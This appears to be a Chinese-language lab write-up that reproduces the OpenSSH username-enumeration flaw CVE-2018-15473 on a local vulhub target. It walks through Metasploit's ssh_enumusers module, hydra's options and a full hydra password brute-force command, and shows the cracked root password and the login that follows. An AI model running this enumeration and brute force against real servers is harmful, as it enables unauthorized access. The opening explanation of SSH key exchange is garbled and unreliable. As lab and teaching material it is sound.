0x00 漏洞简介
ssh工作机制:服务器启动的时候自己产生一个密钥(768bit公钥),本地的ssh客户端发送连接请求到ssh服务器,服务器检查连接点客户端发送的数据和IP地址,确认合法后发送密钥(768bits)给客户端,此时客户端将本地私钥(256bit)和服务器的公钥(768bit)结合成密钥对key(1024bit),发回给服务器端,建立连接通过key-pair数据传输。
攻击者可以尝试使用格式错误的数据包(例如,截断的数据包)对用户进行身份验证,并且:
·如果用户无效(不存在),则 userauth_pubkey()立即返回,服务器发送 SSH2_MSG_USERAUTH_FAILURE到攻击者;
·如果用户有效(它存在),则 sshpkt_get_u8() 失败,服务器调用 fatal() 并关闭与攻击者的连接;
由于SSH本身的认证机制存在缺陷,导致攻击者可以使用字典,暴力枚举SSH存在的用户名(Username)
0x01 影响版本
OpenSSH < 7.7
0x02 复现环境
vulhub在kali本机启动openssh环境,ip为:127.0.0.1
流程:
1.先采用msf中的ssh scanner模块进行探测
2.存在在用scanner进行指定用户名进行枚举
3.然后采用hydra(九头蛇)对存在用户进行ssh密码字典爆破
0x03 漏洞复现
1.开启靶场
cd /.../vulhub/openssh/CVE-2018-15473 # 进入vulhub靶场文件目录
docker-compose up -d # 启动靶场环境
docker ps -a # 查看容器启动环境
2.漏洞探测
msfconsole # 开启msf
search ssh_enum # 查找ssh 枚举模块
use auxiliary/scanner/ssh/ssh_enumusers #使用ssh探测模块
options # 查看使用该模块需要设置参数列表
set .... # 设置相应参数
先不进行USER_FILE参数设置查看是否存在ssh用户枚举
存在进行ssh用户名枚举
3.hydra进行ssh密码爆破
hydra暴力破解ssh服务器密码-LMLPHP
-R 继续上一次进度破解
-S 采用SSL连接
-s PORT 指定非默认端口
-l LOGIN 指定要破解的用户
-L FILE 指定用户名字典破解
-P FILE 指定要使用的密码字典破解
-C FILE 使用冒号分割的格式,如“login:pass”来替代-L/-P参数
-t TASKS 同时运行的线程数量
-w TIME 设置最大超时时间,单位秒
执行hydra爆破
hydra -l root -P /usr/share/wordlists/metasploit/ssh_passwd.txt -v -t 10 ssh://127.0.0.1:20022
爆破成功显示账户密码
[20022][ssh] host: 127.0.0.1 login: root password: vulhub
4.测试连接
ssh root@127.0.0.1 -p 20022
然后输入root用户密码vulhub
连接成功